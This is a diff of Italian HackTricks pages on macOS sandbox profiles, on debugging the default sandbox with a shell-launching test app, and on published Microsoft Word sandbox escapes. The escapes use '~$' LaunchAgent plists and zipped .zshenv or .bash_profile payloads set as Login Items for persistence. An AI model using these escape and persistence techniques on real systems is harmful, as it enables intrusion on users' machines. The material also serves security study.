I **servizi di sistema** importanti vengono eseguiti anche all'interno del proprio **sandbox** personalizzato, come il servizio `mdnsresponder`. Puoi visualizzare questi **profili sandbox** personalizzati all'interno di:
|
||||||
|
|
||||||
* **`/usr/share/sandbox`**
|
* **`/usr/share/sandbox`**
|
||||||
* **`/System/Library/Sandbox/Profiles`** 
|
* **`/System/Library/Sandbox/Profiles`** 
|
||||||
* Altri profili sandbox possono essere controllati su [https://github.com/s7ephen/OSX-Sandbox--Seatbelt--Profiles](https://github.com/s7ephen/OSX-Sandbox--Seatbelt--Profiles).
|
* Altri profili sandbox possono essere controllati su [https://github.com/s7ephen/OSX-Sandbox--Seatbelt--Profiles](https://github.com/s7ephen/OSX-Sandbox--Seatbelt--Profiles).
|
||||||
|
|
||||||
Le app **App Store** utilizzano il **profilo** **`/System/Library/Sandbox/Profiles/application.sb`**. Puoi controllare in questo profilo come i privilegi come **`com.apple.security.network.server`** consentono a un processo di utilizzare la rete.
|
Le app dell'**App Store** utilizzano il **profilo** **`/System/Library/Sandbox/Profiles/application.sb`**. Puoi controllare in questo profilo come i diritti, come **`com.apple.security.network.server`**, consentono a un processo di utilizzare la rete.
|
||||||
|
|
||||||
SIP è un profilo Sandbox chiamato platform\_profile in /System/Library/Sandbox/rootless.conf
|
SIP è un profilo Sandbox chiamato platform\_profile in /System/Library/Sandbox/rootless.conf
|
||||||
|
|
||||||
### Esempi di Profili Sandbox
|
### Esempi di profili Sandbox
|
||||||
|
|
||||||
Per avviare un'applicazione con un **profilo sandbox specifico** puoi utilizzare:
|
Per avviare un'applicazione con un **profilo sandbox specifico** puoi usare:
|
||||||
```bash
|
```bash
|
||||||
sandbox-exec -f example.sb /Path/To/The/Application
|
sandbox-exec -f example.sb /Path/To/The/Application
|
||||||
```
|
```
|
||||||
Il file touch.sb è un file di politica del sandbox di macOS che definisce le restrizioni di accesso per l'applicazione touch. Questo file specifica le autorizzazioni di accesso ai file e alle risorse di sistema che l'applicazione touch può utilizzare all'interno del sandbox.
|
{% tabs %}
|
||||||
|
{% tab title="touch" %}
|
||||||
|
{% code title="touch.sb" %}
|
||||||
```scheme
|
```scheme
|
||||||
(version 1)
|
(version 1)
|
||||||
(deny default)
|
(deny default)
|
||||||
|
@ -192,6 +195,8 @@ log show --style syslog --predicate 'eventMessage contains[c] "sandbox"' --last
|
||||||
; 2023-05-26 13:44:59.840050+0200 localhost kernel[0]: (Sandbox) Sandbox: touch(41575) deny(1) sysctl-read kern.bootargs
|
; 2023-05-26 13:44:59.840050+0200 localhost kernel[0]: (Sandbox) Sandbox: touch(41575) deny(1) sysctl-read kern.bootargs
|
||||||
; 2023-05-26 13:44:59.840061+0200 localhost kernel[0]: (Sandbox) Sandbox: touch(41575) deny(1) file-read-data /
|
; 2023-05-26 13:44:59.840061+0200 localhost kernel[0]: (Sandbox) Sandbox: touch(41575) deny(1) file-read-data /
|
||||||
```
|
```
|
||||||
|
{% endcode %}
|
||||||
|
|
||||||
{% code title="touch3.sb" %}
|
{% code title="touch3.sb" %}
|
||||||
```scheme
|
```scheme
|
||||||
(version 1)
|
(version 1)
|
||||||
|
@ -206,7 +211,7 @@ log show --style syslog --predicate 'eventMessage contains[c] "sandbox"' --last
|
||||||
{% endtabs %}
|
{% endtabs %}
|
||||||
|
|
||||||
{% hint style="info" %}
|
{% hint style="info" %}
|
||||||
Si noti che il **software** **sviluppato da Apple** che viene eseguito su **Windows** **non ha ulteriori precauzioni di sicurezza**, come l'applicazione del sandbox.
|
Nota che il **software** **autorizzato da Apple** che gira su **Windows** **non ha precauzioni di sicurezza aggiuntive**, come il sandboxing delle applicazioni.
|
||||||
{% endhint %}
|
{% endhint %}
|
||||||
|
|
||||||
Esempi di bypass:
|
Esempi di bypass:
|
||||||
|
@ -214,42 +219,42 @@ Esempi di bypass:
|
||||||
* [https://lapcatsoftware.com/articles/sandbox-escape.html](https://lapcatsoftware.com/articles/sandbox-escape.html)
|
* [https://lapcatsoftware.com/articles/sandbox-escape.html](https://lapcatsoftware.com/articles/sandbox-escape.html)
|
||||||
* [https://desi-jarvis.medium.com/office365-macos-sandbox-escape-fcce4fa4123c](https://desi-jarvis.medium.com/office365-macos-sandbox-escape-fcce4fa4123c) (sono in grado di scrivere file al di fuori del sandbox il cui nome inizia con `~$`).
|
* [https://desi-jarvis.medium.com/office365-macos-sandbox-escape-fcce4fa4123c](https://desi-jarvis.medium.com/office365-macos-sandbox-escape-fcce4fa4123c) (sono in grado di scrivere file al di fuori del sandbox il cui nome inizia con `~$`).
|
||||||
|
|
||||||
### Profili di sandbox di MacOS
|
### Profili Sandbox di MacOS
|
||||||
|
|
||||||
macOS memorizza i profili di sandbox di sistema in due posizioni: **/usr/share/sandbox/** e **/System/Library/Sandbox/Profiles**.
|
macOS memorizza i profili di sandbox di sistema in due posizioni: **/usr/share/sandbox/** e **/System/Library/Sandbox/Profiles**.
|
||||||
|
|
||||||
E se un'applicazione di terze parti ha l'abilitazione _**com.apple.security.app-sandbox**_, il sistema applica il profilo **/System/Library/Sandbox/Profiles/application.sb** a quel processo.
|
E se un'applicazione di terze parti possiede il diritto _**com.apple.security.app-sandbox**_, il sistema applica il profilo **/System/Library/Sandbox/Profiles/application.sb** a quel processo.
|
||||||
|
|
||||||
### **Profilo di sandbox di iOS**
|
### **Profilo Sandbox di iOS**
|
||||||
|
|
||||||
Il profilo predefinito si chiama **container** e non abbiamo la rappresentazione testuale SBPL. In memoria, questa sandbox è rappresentata come un albero binario di autorizzazioni Allow/Deny per ogni permesso della sandbox.
|
Il profilo predefinito si chiama **container** e non abbiamo la rappresentazione testuale SBPL. In memoria, questo sandbox è rappresentato come un albero binario Allow/Deny per ciascuna autorizzazione del sandbox.
|
||||||
|
|
||||||
### Debug e bypass del sandbox
|
### Debug & Bypass Sandbox
|
||||||
|
|
||||||
Su macOS, a differenza di iOS dove i processi sono sandboxati fin dall'inizio dal kernel, **i processi devono scegliere di aderire al sandbox da soli**. Ciò significa che su macOS, un processo non è limitato dal sandbox fino a quando non decide attivamente di entrarvi.
|
Su macOS, a differenza di iOS dove i processi sono sandboxati fin dall'inizio dal kernel, **i processi devono optare per il sandboxing da soli**. Questo significa che su macOS, un processo non è limitato dal sandbox fino a quando non decide attivamente di entrarvi.
|
||||||
|
|
||||||
I processi vengono automaticamente sandboxati da userland quando vengono avviati se hanno l'abilitazione: `com.apple.security.app-sandbox`. Per una spiegazione dettagliata di questo processo, controlla:
|
I processi vengono automaticamente sandboxati dal userland quando iniziano se hanno il diritto: `com.apple.security.app-sandbox`. Per una spiegazione dettagliata di questo processo controlla:
|
||||||
|
|
||||||
{% content-ref url="macos-sandbox-debug-and-bypass/" %}
|
{% content-ref url="macos-sandbox-debug-and-bypass/" %}
|
||||||
[macos-sandbox-debug-and-bypass](macos-sandbox-debug-and-bypass/)
|
[macos-sandbox-debug-and-bypass](macos-sandbox-debug-and-bypass/)
|
||||||
{% endcontent-ref %}
|
{% endcontent-ref %}
|
||||||
|
|
||||||
### **Verifica dei privilegi PID**
|
### **Controlla i privilegi PID**
|
||||||
|
|
||||||
[**Secondo questo**](https://www.youtube.com/watch?v=mG715HcDgO8\&t=3011s), il **`sandbox_check`** (è una `__mac_syscall`), può verificare **se un'operazione è consentita o meno** dal sandbox in un determinato PID.
|
[**Secondo questo**](https://www.youtube.com/watch?v=mG715HcDgO8\&t=3011s), il **`sandbox_check`** (è un `__mac_syscall`), può controllare **se un'operazione è consentita o meno** dal sandbox in un certo PID.
|
||||||
|
|
||||||
Lo [**strumento sbtool**](http://newosxbook.com/src.jl?tree=listings\&file=sbtool.c) può verificare se un PID può eseguire una determinata azione:
|
Il [**tool sbtool**](http://newosxbook.com/src.jl?tree=listings\&file=sbtool.c) può controllare se un PID può eseguire una certa azione:
|
||||||
```bash
|
```bash
|
||||||
sbtool <pid> mach #Check mac-ports (got from launchd with an api)
|
sbtool <pid> mach #Check mac-ports (got from launchd with an api)
|
||||||
sbtool <pid> file /tmp #Check file access
|
sbtool <pid> file /tmp #Check file access
|
||||||
sbtool <pid> inspect #Gives you an explaination of the sandbox profile
|
sbtool <pid> inspect #Gives you an explaination of the sandbox profile
|
||||||
sbtool <pid> all
|
sbtool <pid> all
|
||||||
```
|
```
|
||||||
### Profili SBPL personalizzati nelle app dell'App Store
|
### Custom SBPL nelle app dell'App Store
|
||||||
|
|
||||||
Potrebbe essere possibile per le aziende far eseguire le loro app con **profili Sandbox personalizzati** (invece di quelli predefiniti). Devono utilizzare il privilegio **`com.apple.security.temporary-exception.sbpl`** che deve essere autorizzato da Apple.
|
Potrebbe essere possibile per le aziende far funzionare le loro app **con profili Sandbox personalizzati** (invece di quello predefinito). Devono utilizzare il diritto **`com.apple.security.temporary-exception.sbpl`** che deve essere autorizzato da Apple.
|
||||||
|
|
||||||
È possibile verificare la definizione di questo privilegio in **`/System/Library/Sandbox/Profiles/application.sb:`**
|
È possibile controllare la definizione di questo diritto in **`/System/Library/Sandbox/Profiles/application.sb:`**
|
||||||
```scheme
|
```scheme
|
||||||
(sandbox-array-entitlement
|
(sandbox-array-entitlement
|
||||||
"com.apple.security.temporary-exception.sbpl"
|
"com.apple.security.temporary-exception.sbpl"
|
||||||
|
@ -257,18 +262,19 @@ Potrebbe essere possibile per le aziende far eseguire le loro app con **profili
|
||||||
(let* ((port (open-input-string string)) (sbpl (read port)))
|
(let* ((port (open-input-string string)) (sbpl (read port)))
|
||||||
(with-transparent-redirection (eval sbpl)))))
|
(with-transparent-redirection (eval sbpl)))))
|
||||||
```
|
```
|
||||||
Questo **valuterà la stringa dopo questo privilegio** come un profilo Sandbox.
|
Questo **valuterà la stringa dopo questo diritto** come un profilo Sandbox.
|
||||||
|
|
||||||
|
{% hint style="success" %}
|
||||||
|
Impara e pratica il hacking AWS:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||||
|
Impara e pratica il hacking GCP: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||||
|
|
||||||
<details>
|
<details>
|
||||||
|
|
||||||
<summary><strong>Impara l'hacking di AWS da zero a esperto con</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
<summary>Supporta HackTricks</summary>
|
||||||
|
|
||||||
Altri modi per supportare HackTricks:
|
* Controlla i [**piani di abbonamento**](https://github.com/sponsors/carlospolop)!
|
||||||
|
* **Unisciti al** 💬 [**gruppo Discord**](https://discord.gg/hRep4RUj7f) o al [**gruppo telegram**](https://t.me/peass) o **seguici** su **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||||
* Se vuoi vedere la tua **azienda pubblicizzata su HackTricks** o **scaricare HackTricks in PDF** Controlla i [**PIANI DI ABBONAMENTO**](https://github.com/sponsors/carlospolop)!
|
* **Condividi trucchi di hacking inviando PR ai** [**HackTricks**](https://github.com/carlospolop/hacktricks) e [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repos su github.
|
||||||
* Ottieni il [**merchandising ufficiale di PEASS & HackTricks**](https://peass.creator-spring.com)
|
|
||||||
* Scopri [**The PEASS Family**](https://opensea.io/collection/the-peass-family), la nostra collezione di esclusive [**NFT**](https://opensea.io/collection/the-peass-family)
|
|
||||||
* **Unisciti al** 💬 [**gruppo Discord**](https://discord.gg/hRep4RUj7f) o al [**gruppo Telegram**](https://t.me/peass) o **seguici** su **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
|
|
||||||
* **Condividi i tuoi trucchi di hacking inviando PR ai repository github di** [**HackTricks**](https://github.com/carlospolop/hacktricks) e [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud).
|
|
||||||
|
|
||||||
</details>
|
</details>
|
||||||
|
{% endhint %}
|
||||||
|
|
|
@ -1,20 +1,21 @@
|
||||||
# macOS Default Sandbox Debug
|
# macOS Default Sandbox Debug
|
||||||
|
|
||||||
|
{% hint style="success" %}
|
||||||
|
Learn & practice AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||||
|
Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||||
|
|
||||||
<details>
|
<details>
|
||||||
|
|
||||||
<summary><strong>Impara l'hacking di AWS da zero a esperto con</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
<summary>Support HackTricks</summary>
|
||||||
|
|
||||||
Altri modi per supportare HackTricks:
|
* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
|
||||||
|
* **Unisciti al** 💬 [**gruppo Discord**](https://discord.gg/hRep4RUj7f) o al [**gruppo telegram**](https://t.me/peass) o **seguici** su **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||||
* Se vuoi vedere la tua **azienda pubblicizzata su HackTricks** o **scaricare HackTricks in PDF** Controlla i [**PACCHETTI DI ABBONAMENTO**](https://github.com/sponsors/carlospolop)!
|
* **Condividi trucchi di hacking inviando PR ai** [**HackTricks**](https://github.com/carlospolop/hacktricks) e [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repos su github.
|
||||||
* Ottieni il [**merchandising ufficiale di PEASS & HackTricks**](https://peass.creator-spring.com)
|
|
||||||
* Scopri [**The PEASS Family**](https://opensea.io/collection/the-peass-family), la nostra collezione di [**NFT**](https://opensea.io/collection/the-peass-family) esclusivi
|
|
||||||
* **Unisciti al** 💬 [**gruppo Discord**](https://discord.gg/hRep4RUj7f) o al [**gruppo Telegram**](https://t.me/peass) o **seguici** su **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
|
|
||||||
* **Condividi i tuoi trucchi di hacking inviando PR ai repository github di** [**HackTricks**](https://github.com/carlospolop/hacktricks) e [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud).
|
|
||||||
|
|
||||||
</details>
|
</details>
|
||||||
|
{% endhint %}
|
||||||
|
|
||||||
In questa pagina puoi trovare come creare un'applicazione per eseguire comandi arbitrari all'interno del sandbox predefinito di macOS:
|
In questa pagina puoi trovare come creare un'app per lanciare comandi arbitrari dall'interno della sandbox predefinita di macOS:
|
||||||
|
|
||||||
1. Compila l'applicazione:
|
1. Compila l'applicazione:
|
||||||
|
|
||||||
|
@ -52,8 +53,7 @@ return 0;
|
||||||
|
|
||||||
Compilalo eseguendo: `clang -framework Foundation -o SandboxedShellApp main.m`
|
Compilalo eseguendo: `clang -framework Foundation -o SandboxedShellApp main.m`
|
||||||
|
|
||||||
2. Costruisci il bundle `.app`
|
2. Crea il pacchetto `.app`
|
||||||
|
|
||||||
```bash
|
```bash
|
||||||
mkdir -p SandboxedShellApp.app/Contents/MacOS
|
mkdir -p SandboxedShellApp.app/Contents/MacOS
|
||||||
mv SandboxedShellApp SandboxedShellApp.app/Contents/MacOS/
|
mv SandboxedShellApp SandboxedShellApp.app/Contents/MacOS/
|
||||||
|
@ -75,8 +75,7 @@ cat << EOF > SandboxedShellApp.app/Contents/Info.plist
|
||||||
</plist>
|
</plist>
|
||||||
EOF
|
EOF
|
||||||
```
|
```
|
||||||
|
3. Definire i diritti
|
||||||
3. Definire i privilegi
|
|
||||||
|
|
||||||
{% tabs %}
|
{% tabs %}
|
||||||
{% tab title="sandbox" %}
|
{% tab title="sandbox" %}
|
||||||
|
@ -92,32 +91,9 @@ cat << EOF > entitlements.plist
|
||||||
</plist>
|
</plist>
|
||||||
EOF
|
EOF
|
||||||
```
|
```
|
||||||
|
{% endtab %}
|
||||||
|
|
||||||
## macOS Sandbox
|
{% tab title="sandbox + downloads" %}
|
||||||
|
|
||||||
Il sandbox di macOS è un meccanismo di sicurezza che limita le azioni che un'applicazione può eseguire sul sistema operativo. Questo meccanismo è progettato per proteggere il sistema da applicazioni dannose o non attendibili.
|
|
||||||
|
|
||||||
### Protezioni predefinite del sandbox
|
|
||||||
|
|
||||||
Quando un'applicazione viene eseguita all'interno del sandbox di macOS, viene automaticamente limitata nelle sue azioni. Alcune delle protezioni predefinite del sandbox includono:
|
|
||||||
|
|
||||||
* Accesso limitato ai file e alle cartelle del sistema
|
|
||||||
* Limitazioni sulle comunicazioni di rete
|
|
||||||
* Limitazioni sull'accesso all'hardware del sistema
|
|
||||||
* Limitazioni sull'accesso alle risorse del sistema, come la fotocamera o il microfono
|
|
||||||
|
|
||||||
### Debug del sandbox predefinito
|
|
||||||
|
|
||||||
Il sandbox predefinito di macOS è progettato per essere sicuro e limitare le azioni delle applicazioni. Tuttavia, è possibile che alcune applicazioni richiedano funzionalità aggiuntive che non sono consentite dal sandbox predefinito. In questi casi, è possibile abilitare il debug del sandbox predefinito per consentire l'accesso a queste funzionalità aggiuntive.
|
|
||||||
|
|
||||||
Il debug del sandbox predefinito può essere abilitato utilizzando il comando `sandbox-exec`. Questo comando consente di specificare un profilo di sandbox personalizzato che definisce le azioni consentite per un'applicazione specifica.
|
|
||||||
|
|
||||||
### Download all'interno del sandbox
|
|
||||||
|
|
||||||
Quando un'applicazione viene eseguita all'interno del sandbox di macOS, il download di file può essere limitato. Il sandbox predefinito di macOS consente solo il download di file in determinate posizioni, come la cartella "Downloads" dell'utente corrente.
|
|
||||||
|
|
||||||
Se un'applicazione richiede di scaricare file in una posizione diversa, è possibile abilitare il debug del sandbox predefinito e specificare un profilo di sandbox personalizzato che consenta il download in una posizione specifica.
|
|
||||||
|
|
||||||
```bash
|
```bash
|
||||||
cat << EOF > entitlements.plist
|
cat << EOF > entitlements.plist
|
||||||
<?xml version="1.0" encoding="UTF-8"?>
|
<?xml version="1.0" encoding="UTF-8"?>
|
||||||
|
@ -135,8 +111,7 @@ EOF
|
||||||
{% endtab %}
|
{% endtab %}
|
||||||
{% endtabs %}
|
{% endtabs %}
|
||||||
|
|
||||||
4. Firma l'app (è necessario creare un certificato nel portachiavi)
|
4. Firma l'app (devi creare un certificato nel portachiavi)
|
||||||
|
|
||||||
```bash
|
```bash
|
||||||
codesign --entitlements entitlements.plist -s "YourIdentity" SandboxedShellApp.app
|
codesign --entitlements entitlements.plist -s "YourIdentity" SandboxedShellApp.app
|
||||||
./SandboxedShellApp.app/Contents/MacOS/SandboxedShellApp
|
./SandboxedShellApp.app/Contents/MacOS/SandboxedShellApp
|
||||||
|
@ -144,17 +119,17 @@ codesign --entitlements entitlements.plist -s "YourIdentity" SandboxedShellApp.a
|
||||||
# An d in case you need this in the future
|
# An d in case you need this in the future
|
||||||
codesign --remove-signature SandboxedShellApp.app
|
codesign --remove-signature SandboxedShellApp.app
|
||||||
```
|
```
|
||||||
|
{% hint style="success" %}
|
||||||
|
Impara e pratica il hacking AWS:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||||
|
Impara e pratica il hacking GCP: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||||
|
|
||||||
<details>
|
<details>
|
||||||
|
|
||||||
<summary><strong>Impara l'hacking di AWS da zero a eroe con</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
<summary>Supporta HackTricks</summary>
|
||||||
|
|
||||||
Altri modi per supportare HackTricks:
|
* Controlla i [**piani di abbonamento**](https://github.com/sponsors/carlospolop)!
|
||||||
|
* **Unisciti al** 💬 [**gruppo Discord**](https://discord.gg/hRep4RUj7f) o al [**gruppo telegram**](https://t.me/peass) o **seguici** su **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||||
* Se vuoi vedere la tua **azienda pubblicizzata su HackTricks** o **scaricare HackTricks in PDF** Controlla i [**PIANI DI ABBONAMENTO**](https://github.com/sponsors/carlospolop)!
|
* **Condividi trucchi di hacking inviando PR ai** [**HackTricks**](https://github.com/carlospolop/hacktricks) e [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repository su github.
|
||||||
* Ottieni il [**merchandising ufficiale di PEASS & HackTricks**](https://peass.creator-spring.com)
|
|
||||||
* Scopri [**The PEASS Family**](https://opensea.io/collection/the-peass-family), la nostra collezione di [**NFT**](https://opensea.io/collection/the-peass-family) esclusivi
|
|
||||||
* **Unisciti al** 💬 [**gruppo Discord**](https://discord.gg/hRep4RUj7f) o al [**gruppo Telegram**](https://t.me/peass) o **seguici** su **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
|
|
||||||
* **Condividi i tuoi trucchi di hacking inviando PR ai repository github di** [**HackTricks**](https://github.com/carlospolop/hacktricks) e [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud).
|
|
||||||
|
|
||||||
</details>
|
</details>
|
||||||
|
{% endhint %}
|
||||||
|
|
|
@ -1,76 +1,78 @@
|
||||||
# Bypass del Sandbox di macOS Office
|
# macOS Office Sandbox Bypasses
|
||||||
|
|
||||||
|
{% hint style="success" %}
|
||||||
|
Learn & practice AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||||
|
Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||||
|
|
||||||
<details>
|
<details>
|
||||||
|
|
||||||
<summary><strong>Impara l'hacking di AWS da zero a esperto con</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
<summary>Support HackTricks</summary>
|
||||||
|
|
||||||
Altri modi per supportare HackTricks:
|
* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
|
||||||
|
* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||||
* Se vuoi vedere la tua **azienda pubblicizzata su HackTricks** o **scaricare HackTricks in PDF** Controlla i [**PACCHETTI DI ABBONAMENTO**](https://github.com/sponsors/carlospolop)!
|
* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
|
||||||
* Ottieni il [**merchandising ufficiale di PEASS & HackTricks**](https://peass.creator-spring.com)
|
|
||||||
* Scopri [**The PEASS Family**](https://opensea.io/collection/the-peass-family), la nostra collezione di [**NFT**](https://opensea.io/collection/the-peass-family) esclusivi
|
|
||||||
* **Unisciti al** 💬 [**gruppo Discord**](https://discord.gg/hRep4RUj7f) o al [**gruppo Telegram**](https://t.me/peass) o **seguici** su **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
|
|
||||||
* **Condividi i tuoi trucchi di hacking inviando PR ai repository GitHub di** [**HackTricks**](https://github.com/carlospolop/hacktricks) e [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud).
|
|
||||||
|
|
||||||
</details>
|
</details>
|
||||||
|
{% endhint %}
|
||||||
|
|
||||||
### Bypass del Sandbox di Word tramite Launch Agents
|
### Bypass della Sandbox di Word tramite Launch Agents
|
||||||
|
|
||||||
L'applicazione utilizza un **Sandbox personalizzato** utilizzando l'entitlement **`com.apple.security.temporary-exception.sbpl`** e questo Sandbox personalizzato consente di scrivere file ovunque purché il nome del file inizi con `~$`: `(require-any (require-all (vnode-type REGULAR-FILE) (regex #"(^|/)~$[^/]+$")))`
|
L'applicazione utilizza una **Sandbox personalizzata** usando il diritto **`com.apple.security.temporary-exception.sbpl`** e questa sandbox personalizzata consente di scrivere file ovunque purché il nome del file inizi con `~$`: `(require-any (require-all (vnode-type REGULAR-FILE) (regex #"(^|/)~$[^/]+$")))`
|
||||||
|
|
||||||
Pertanto, l'escape è stato semplice come **scrivere un file `plist`** LaunchAgent in `~/Library/LaunchAgents/~$escape.plist`.
|
Pertanto, l'escape era facile come **scrivere un `plist`** LaunchAgent in `~/Library/LaunchAgents/~$escape.plist`.
|
||||||
|
|
||||||
Controlla il [**rapporto originale qui**](https://www.mdsec.co.uk/2018/08/escaping-the-sandbox-microsoft-office-on-macos/).
|
Controlla il [**report originale qui**](https://www.mdsec.co.uk/2018/08/escaping-the-sandbox-microsoft-office-on-macos/).
|
||||||
|
|
||||||
### Bypass del Sandbox di Word tramite Login Items e zip
|
### Bypass della Sandbox di Word tramite Login Items e zip
|
||||||
|
|
||||||
Ricorda che dal primo escape, Word può scrivere file arbitrari il cui nome inizia con `~$`, anche se dopo la patch della vulnerabilità precedente non era possibile scrivere in `/Library/Application Scripts` o in `/Library/LaunchAgents`.
|
Ricorda che dal primo escape, Word può scrivere file arbitrari il cui nome inizia con `~$`, anche se dopo la patch della vulnerabilità precedente non era possibile scrivere in `/Library/Application Scripts` o in `/Library/LaunchAgents`.
|
||||||
|
|
||||||
È stato scoperto che all'interno del sandbox è possibile creare un **Login Item** (applicazioni che verranno eseguite quando l'utente accede). Tuttavia, queste app **non verranno eseguite** a meno che non siano **notarizzate** e non è possibile aggiungere argomenti (quindi non è possibile eseguire una reverse shell usando **`bash`**).
|
È stato scoperto che dall'interno della sandbox è possibile creare un **Login Item** (app che verranno eseguite quando l'utente accede). Tuttavia, queste app **non verranno eseguite a meno che** non siano **notarizzate** e **non è possibile aggiungere argomenti** (quindi non puoi semplicemente eseguire una reverse shell usando **`bash`**).
|
||||||
|
|
||||||
Dal precedente bypass del Sandbox, Microsoft ha disabilitato l'opzione di scrittura dei file in `~/Library/LaunchAgents`. Tuttavia, è stato scoperto che se si inserisce un **file zip come Login Item**, l'`Archive Utility` lo scompatterà nella sua posizione corrente. Quindi, poiché per impostazione predefinita la cartella `LaunchAgents` di `~/Library` non viene creata, è stato possibile **creare un file plist in `LaunchAgents/~$escape.plist`** e **posizionare** il file zip in **`~/Library`** in modo che, quando viene decompresso, raggiunga la destinazione di persistenza.
|
Dalla precedente bypass della Sandbox, Microsoft ha disabilitato l'opzione di scrivere file in `~/Library/LaunchAgents`. Tuttavia, è stato scoperto che se si mette un **file zip come Login Item**, l'`Archive Utility` semplicemente **decomprimerà** il file nella sua posizione attuale. Quindi, poiché per impostazione predefinita la cartella `LaunchAgents` di `~/Library` non viene creata, è stato possibile **zipare un plist in `LaunchAgents/~$escape.plist`** e **posizionare** il file zip in **`~/Library`** in modo che, quando viene decompresso, raggiunga la destinazione di persistenza.
|
||||||
|
|
||||||
Controlla il [**rapporto originale qui**](https://objective-see.org/blog/blog\_0x4B.html).
|
Controlla il [**report originale qui**](https://objective-see.org/blog/blog\_0x4B.html).
|
||||||
|
|
||||||
### Bypass del Sandbox di Word tramite Login Items e .zshenv
|
### Bypass della Sandbox di Word tramite Login Items e .zshenv
|
||||||
|
|
||||||
(Ricorda che dal primo escape, Word può scrivere file arbitrari il cui nome inizia con `~$`).
|
(Ricorda che dal primo escape, Word può scrivere file arbitrari il cui nome inizia con `~$`).
|
||||||
|
|
||||||
Tuttavia, la tecnica precedente aveva una limitazione: se la cartella **`~/Library/LaunchAgents`** esiste perché è stata creata da un altro software, il bypass fallirebbe. Quindi è stata scoperta una catena di Login Items diversa per questo caso.
|
Tuttavia, la tecnica precedente aveva una limitazione, se la cartella **`~/Library/LaunchAgents`** esiste perché qualche altro software l'ha creata, fallirebbe. Quindi è stata scoperta una diversa catena di Login Items per questo.
|
||||||
|
|
||||||
Un attaccante potrebbe creare i file **`.bash_profile`** e **`.zshenv`** con il payload da eseguire e quindi comprimerli in un file zip e **scrivere il file zip nella cartella** dell'utente vittima: **`~/~$escape.zip`**.
|
Un attaccante potrebbe creare i file **`.bash_profile`** e **`.zshenv`** con il payload da eseguire e poi zipparli e **scrivere lo zip nella cartella** dell'utente vittima: **`~/~$escape.zip`**.
|
||||||
|
|
||||||
Successivamente, aggiungi il file zip ai **Login Items** e quindi all'app **`Terminal`**. Quando l'utente effettua nuovamente l'accesso, il file zip verrà decompresso nella cartella dell'utente, sovrascrivendo **`.bash_profile`** e **`.zshenv** e quindi il terminale eseguirà uno di questi file (a seconda se viene utilizzato bash o zsh).
|
Poi, aggiungere il file zip ai **Login Items** e poi all'app **`Terminal`**. Quando l'utente effettua nuovamente il login, il file zip verrebbe decompresso nella cartella dell'utente, sovrascrivendo **`.bash_profile`** e **`.zshenv`** e quindi, il terminale eseguirà uno di questi file (a seconda se viene utilizzato bash o zsh).
|
||||||
|
|
||||||
Controlla il [**rapporto originale qui**](https://desi-jarvis.medium.com/office365-macos-sandbox-escape-fcce4fa4123c).
|
